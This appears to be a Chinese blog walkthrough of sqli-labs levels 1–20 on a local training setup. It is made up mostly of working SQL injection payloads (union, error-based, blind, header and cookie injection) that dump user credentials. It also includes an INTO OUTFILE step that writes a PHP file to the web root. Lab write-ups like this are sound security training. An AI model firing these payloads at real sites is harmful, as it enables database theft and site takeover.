aplias通关手册(1-20关)

1.第一关Less-1(GET传参--联合查询)

1)点击Less-1进入第一关

2)在url后边加上  ?id=1      用于查看登录的用户和密码

3)查看是否存在语法错误,报错即表示存在(第一个输入时正常的,但是第二个会报错)

?id=1' order by 3--+

?id=1' order by 4--+

4)进行联合查询列数

?id=1' union select 1,2,3 --+

?id=1' union select 1,2,3,4 --+

输入第二个语句存在错误,表示数据库中存在的列数为3列

5)查询我们的用户名和密码是在第几列

?id=-1' union select 1,2,3 --+

经过查询可知用户名在第二列,密码在第三列

6)现在就可以从第2列或者第3列查询数据库的名称

?id=-1' union select 1,database(),3 --+

此时就可以看到数据库名称为security

7)此时就可以利用数据库名称来查询所有的列和行了

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= 'security'),3--+

看到了数据库中所有的用户名

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),3 --+

查看所有的列

8)查找数据

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

可以看到数据库中的所有用户名和密码

2.第2关Less-2(GET传参--数字型)

当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入。

1)尝试闭合查看是否存在注入点

?id=-1'

报错即表示存在

2)查看数据库的列数

?id=1 order by 3--+ 正常

?id=1 order by 4--+ 报错

输入第二个语句存在错误,表示数据库中存在的列数为3列

3)查看哪些地方可以回显

?id=-1 union select 1,2,3--+

?id=1' union select 1,2,3,4 --+

第二个会回显

4)查看数据库名称和版本号

?id=-1 union select 1,database(),version()

数据库名为security,版本为5.7.26

5)查看数据库中所有的表

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

看到表有emails,referers,uagents和users

6)查看users表中的字段

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'  and table_schema='security'--

看到users表中的列的结构

7)查看具体的数据

?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+

可以看到数据表中的信息

3.第3关Less-3(GET传参--‘闭合)

跟2关命令唯一不一样的·就是在id=3后边加上闭合符号’

1)尝试闭合查看是否存在注入点

?id=3

2)查看列数

?id=3') order by 3--+

?id=3') order by 4--+

第二个报错,表示存在的为3列

3)查看回显

?id=-1') union select 1,2,3--+

?id=-1') union select 1,2,3,4--+

也可以看到列数是3

4)查看数据库的名称和版本号

?id=-1') union select 1,database(),version()--+

5)根据数据库名称查看存在的表

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

看到数据库中所存在的表

6)查看users表

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

7)查看数据

?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

4.第4关Less-4(GET传参”闭合)

跟第2关和第3关基本一致,只是闭合用的是”

1)尝试闭合查看是否存在注入点

?id=4

2)查看列数

?id=4") order by 3--+

?id=4") order by 4--+

查看可知是3列

3)查看回显

?id=-1") union select 1,2,3--+

?id=-1") union select 1,2,3,4--+

第二个会回显报错查找不到

4)查看数据库名称和版本号

?id=-1") union select 1,database(),version()--+

5)查看security数据库中的表

?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

6)查看users表的信息

?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

此时就可以看到表的结构

7)查看users表具体的数据

?id=-1") union select 1,2,group_concat(username ,id , password) from users--+

5.第5关Less-5(报错注入’闭合)

知识点:

1. extractvalue:

extractvalue函数用于从XML文档中提取特定的值。它接受两个参数,第一个参数是要提取值的XML文档,第二个参数是XPath表达式,用于指定要提取的值的位置。该函数将返回符合XPath表达式的节点的值。

2. updatexml:

updatexml函数用于更新XML文档中特定节点的值。它接受三个参数,第一个参数是要更新的XML文档,第二个参数是XPath表达式,用于指定要更新的节点的位置,第三个参数是新的节点值。该函数将返回更新后的XML文档。

3. floor:

floor函数用于向下取整,将一个数值向下取整为最接近的整数。它接受一个参数,即要进行取整操作的数值,返回最接近的小于或等于该数值的整数。例如,floor(3.8)将返回3,floor(4.2)将返回4。

1)尝试’闭合查看是否存在注入点

?id=5

2)查看列数

?id=5'  order by 3 --+

?id=5'  order by 4 --+

第2个命令报错,所以是3列

3)查看回显(根据字段数量)

?id=-1’ union select 1,2,3--+

?id=-1' union select 1,2,3,4 --+

第二个会报错显示查不到

4)报错注入

①extractvalue报错注入

?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+

②updatexml报错注入

?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

4)通过updatexml查看数据库的表信息

?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)-- s

5)查看users表的信息

?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,31),0x7e),1)-- s

看到有3列,分别为id,username和password

6)查看表中指定的数据

?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)-- s

?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),32,31),0x7e),1)-- s

6.第6关Less-6(GET传参--报错注入--”闭合)

1)尝试查看是否存在注入点

?id=6

?Id=6

第2个存在错误,则表示此关存在”闭合注入

2)使用updatexml获取当前的数据库名称

?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- s

3)获取数据库security的表信息

?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)-- s

4)查看表users的列信息

?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,31),0x7e),1)-- s

5)查看users表中指定的信息

?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)-- s

其中1是指从第1个字符开始,然后最多31个字符,如果用户名和密码比这个多就会显示不全

1到11

1到62

7.第7关Less-7(secure_file_priv

1)尝试查找注入点

?id=1

测试可知此关存在’闭合注入点

2)尝试报错注入updatexml

?id=1')) and updatexml(1,concat(0x7e,databse(),0x7e),3)--

此时还是没有注入成功,提示我们语法错误了

3)当我们使用 ?id=1

页面提示是在使用输出文件

4)有输出就有输入

?id=1'))  union select 1,"<?phpinfo();?>",3 into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\aaa.php" --+

此时页面仍然提示我们有语法错误,这是因为想要成功输入需要满足三个条件:权限为root、知道网站的物理路径、secure_file_priv=空

我们已知权限为root,物理路径也知道,但是secure_file_priv不清楚

5)查看secure_file_priv并修改为空

①现在phpstudy上下载SQL_Fronts并点击管理打开

②输入

show variables like '%secure%';     查看现在是否为空;右键选择执行

③修改 找到MYSQL目录下的*my.ini 文件添加或者修改

secure_file_priv=

一般路径为:D:\phpstudy_pro\Extensions\MySQL5.7.26

④重启MYSQL服务器并检查是否修改成功

show variables like '%secure%';

此时看到修改成功,为空了

6)再次在url上添加输入文件命令

?id=1'))  union select 1,"<?phpinfo();?>",3 into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\aaa.php" --+

(一定要选择自己本机的位置并且复制完物理路径后需要把所有的单\都换成双\\)

此时虽然还存在语法错误,但是在物理路径下已经可以看到aaa.php了

7)最后验证一下我们创建的是否可以打开

Url上输入指定位置即可

8.第8关Less-8(GET传参--布尔盲注)

1)尝试寻找注入点

?id=1

?id=1 '

?id=1 "

可以看到常见的注入点我们无法获知是否存在,只有两个响应页面,成功和失败,但是没有回显,所以我们使用布尔盲注

2)手动注入,使用二分查找数据库名称长度

?id=1' and (select length(database())>1) and 1=1  --+ true

?id=1' and (select length(database())>10) and 1=1  --+  flase

?id=1' and (select length(database())>5) and 1=1  --+ true

?id=1' and (select length(database())>7) and 1=1  --+ true

?id=1' and (select length(database())>8) and 1=1  --+ flase

通过页面的响应,我们可以知道数据库的长度为8

3)ASCII+substr获取ASCII的值,进而获取相应的数据

?id=1' and ((select ascii(substr(database(),1,1)))>100) and 1=1 --+

true

?id=1' and ((select ascii(substr(database(),1,1)))>200) and 1=1 --+ flase

...

?id=1' and ((select ascii(substr(database(),1,1)))>114) and 1=1 --+ true

?id=1' and ((select ascii(substr(database(),1,1)))>115) and 1=1 --+ false

经过回显结果,大于114但是不大于115,所以ASCII码的值是115,可以用

?id=1' and ((select ascii(substr(database(),1,1)))=115) and 1=1 --+ false    来验证是否是115

对重ASCII码表可知是s

第二个依然可以使用二分查找,获知ASCII码是101,对照ASCII表可知是e

使用相同的方法可以依次获知数据库名称位security

同样的,也可以使用相同的方法获知表名和结构

命令为:

?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+

判断所有表名长度

?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+

逐一判断表名

?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+

判断所有字段名的长度

?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+

逐一判断字段名

?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+

判断字段内容长度

?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+

逐一检测内容。

9.第9关Less-9(GET传参--时间盲注 --‘闭合)

1)先测试是否存在注入点

此关我们无论使用?id=1或者?id=1’又或者是?Id=1”我们看到结果就都是一样的,所以此关只能使用时间盲注了

使用 ?id=1' and if(1=1,sleep(5),1)--+ 后会出现延迟,所以此关使用’闭合

2)时间盲注手动确认数据库长度,是通过

?id=1' and if(length(database())>1,sleep(5),1)--+ 延时

?id=1' and if(length(database())>9,sleep(5),1)--+ 正常

?id=1' and if(length(database())>7,sleep(5),1)--+  延时

?id=1' and if(length(database())=8,sleep(5),1)--+ 延时

由此获知数据库的长度为8位

3)时间盲注获取数据库名称

?id=1'and if(ascii(substr((select database()),1,1))>100,sleep(5),1)--+ 延时

?id=1'and if(ascii(substr((select database()),1,1))>200,sleep(5),1)--+ 正常

...

?id=1'and if(ascii(substr((select database()),1,1))>114,sleep(5),1)--+ 延时

?id=1'and if(ascii(substr((select database()),1,1))>116,sleep(5),1)--+ 正常

?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+ 延时

通过二分法可以获知ASCII码是115,对应的是s

然后用这个方法依次获知数据库名称为security

最后再依次获取表名、表结构、表信息

10.第10关Less-10(GET传参--时间盲注-- ”闭合)

跟第9关只有闭合符号不一样,在此就不一一展示了

命令为:

?id=1 and if(1=1,sleep(5),1)--+

判断参数构造。

?id=1and if(length((select database()))=8,sleep(5),1)--+

判断数据库名长度

?id=1and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+

逐一判断数据库字符

?id=1and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+

判断所有表名长度

?id=1and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+

逐一判断表名

?id=1and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+

判断所有字段名的长度

?id=1and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+

逐一判断字段名。

?id=1 and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+

判断字段内容长度

?id=1 and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+

逐一检测内容。

11.D第11关Less-11(POST注入)

Post注入是一种SQL注入攻击的变体,它发生在Web应用程序使用不安全的数据库操作方式处理HTTP POST请求中的输入数据时。SQL注入是一种攻击技术,攻击者利用这个技术可以执行非法的SQL语句,从而绕过应用程序的正常安全机制,访问或者破坏后端数据库中的数据。

前期准备

Burpsuite介绍

Burp Suite 是用于攻击web 应用程序的集成平台,包含了许多工具。Burp Suite为这些工具设计了许多接口,以加快攻击应用程序的过程。所有工具都共享一个请求,并能处理对应的HTTP 消息、持久性、认证、代理、日志、警报

.打开浏览器设置代理

Microsoft Edge 设置浏览器代理

1)添加代理扩展

类似Firefox浏览器,点击ME浏览器右上角的插件扩展→点击获取Microsoft Edge 扩展

搜索proxy switchyomega→点击第一个(外圈蓝内圈白的类似开关图案的)选择添加

2)设置代理的地址和端口信息

单击刚刚添加的扩展

再点击选项

然后点击新建情景模式,设置名称并创建

最后设置代理的地址和端口号并保存

.打开 burp suite

前期准备:1)代理的拦截查看是否开启

2)记得把HTTP历史记录清除一下,便于后续burpsuite上查看拦截的信息

3)确认和ME浏览器上的相同端口和地址,便于拦截浏览器发送的请求

③ME浏览器登录phpstudy

第一种:浏览器的url输入   127.0.0.1/sqli-labs-master

第二种:从phpstudy上从新建的网站上,单击管理→打开网站

注:如果要是setup上出现致命错误的话,一般都是由于phpstudy的版本不兼容的原因,可能是版本太低也可能是太高,在此,推荐phpstudy的5.5.9版本

开始操作

1)先打开setup的Less-11列表并输入用户名和密码

此时,先不要提交,先打开ME的代理和burpsuite的拦截开启

2)重放器设置

抓取到的数据,右键发送到重放器或者快捷键Ctrl + R

修改unmae在passwd后边加上\ 查看是否存在注入点

看到错误信息

3) 进行POST注入

修改为:  uname=admin&passwd=123456'or 1=1 --+&submit=Submit

此时就可以看到用户名和密码了

12.第12关Less-12(POST传参 ”闭合)

1)查找注入点

a"OR 1=1#

此时发现存在注入点,说明网页是通过”闭合的,但是语法不对

a")OR 1=1#

加上)发现就可以登录了

2)burpsuite重放器上查看数据库

uname=admin&passwd=a") UNION SELECT database(),1--+&submit=

查看数据库中的表

uname=admin&passwd=a") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

查看users表中的字段

uname=admin&passwd=a") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'  and table_schema='security'--

查看具体的数据

uname=admin&passwd=a") union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+

13.第13关Less-13(POST传参 ’闭合)

1)测试存在的注入点

a'OR 1=1#

存在语法错误

加上)

a')OR 1=1#

登陆成功

2)burpsuite重放器上获取数据库名称

uname=a') OR LEFT((SELECT database()),1) = 'a'#&passwd=a&submit=Submit

通过之前的关卡,我们知道了数据库的名称,所以通过首字母‘s’来查询

uname=a') OR LEFT((SELECT database()),1) = 's'#&passwd=a&submit=Submit

发现就成功了

剩下的查表跟上边的12关命令基本一样

14.第14关Less-14(POST传参 ”闭合)

跟第13关除了闭合方式剩下的都一样,就不一一演示了

15.第15关Less-15(POST传参--布尔盲注和时间盲注)

1)测试注入点

发现无回显,所以使用布尔盲注

2)同上,将拦截的信息发送到重放器

3)分别测试用户名密码正确和不正确时的php

正确时是flap.jpg

错误时是 salp.jpg

4)修改字段  查看此时的jpg是哪个

uname=admin'and (length(database())=8)--+&passwd=admin&submit=Submit

查看发现是成功时的flap.jpg,表示注入成功

另一种方法,时间盲注

5)盲注前的时间右下角

  1.  注入时间,

uname=admin'and (select if(length(database())=8,sleep(3),null))--+&passwd=admin&submit=Submit

页面刷新时间等于3S就表示盲注成功了

数据库名称和表都可以用跟GET一样的时间盲注方式去查找,在此就不演示了

16.第16关Less-16(POST传参--盲注--”闭合)

在此就只给一个成功页面了

1)布尔盲注

uname=admin")and (length(database())=8)--+&passwd=admin&submit=Submit

2)时间盲注

uname=admin") and (select if(left(database(),1)='s',sleep(3),null))--+&passwd=admin&submit=Submitt

17.第17关Less-17(报错注入+盲注)

基于错误的回显

1)尝试一下闭合

说明存在注入点

2)万能密码‘or 1=1--+  注入查看

无报错信息

3)updatexml()报错注入

①数据库版本信息查询:uname=admin&passwd=' OR updatexml(1,concat("!",version()),2)#&submit=Submit

②数据库名查询

uname=admin&passwd=' OR updatexml(1,concat("!",database()),2)#&submit=Submit

③爆字段名uname=admin&passwd=' OR updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2)#&submit=Submit

18.第18关Less-18(HTTP头注入)

1)查找系统文件下的D:\phpstudy_pro\WWW\sqli-labs-master\Less-18的.php结尾的index.php,然后记事本打开,查看是否存在SQL注入的地方

2)输入 ’  来查看User-agent是否存在注入点,报错表示存在注入点

3)修改获取版本信息

Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0 ' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

获取到了版本信息·5.7.26

19.第19关Less-19(Referer报错注入+Referer盲注)

1)查看源码是否存在注入点Referer(物理路径Less-19下查看)

  1. 2)Referer后边添加 ’ 是否存在注入点,报错即表示存在注入点

3)Referer报错注入

http://127.0.0.1/sqli-labs/Less-19/'and updatexml(1,concat(0x7e,(database()),0x7e),1) and '1'='1

4)Referer盲注测试

Referer: http://192.168.37.136/sqli-labs/Less-19/'or(length(database()))=9 or if(1=1,sleep(3),null) or '1'='1

 #语句中三个条件都为逻辑或当第一个条件不成功时,再执行第二个条件,第二个条也不成功时,则执行第三个。其中有一个条件执行成功时,则不会向后继续执行。(length(database())) =9 条件不成功,而后执行了 if(1=1, sleep(3), null)条件,该条件中的判断为 1=1,结果永远都是为真的,而后执行 sleep(3),最终页面响应时间是 3 秒

20.第20关Less-20(Cookie注入)

重放器查看存有cookie的,(如果cookie没有显示的话,需要先登陆一次然后再重新发送HTTP请求)

  1. 1)判断是否存在注入点

Cookie: uname=admin‘or’1’=1='1

  1. 2)获取数据库名称

使用 updatexml 报错注入获取数据库名称

Cookie: uname=admin' and updatexml(1,concat(0x7e,database(),0x7e),1) or '1'='1

暴表:

Cookie: uname=admin'and updatexml(1,concat(0x7e,database(),0x7e),1)or'1'='1

Cookie: uname=' union select 1,2,database() -- #

暴字段:

Cookie: uname=' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security' -- #

暴数据:

Cookie: uname=' union select 1,2,group_concat(username,0x7e,password)from security.users -- #

Cookie: uname=' union select 1,2,group_concat(concat_ws('-',id,username,password)) from users# -- #

总结:

  • 16
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值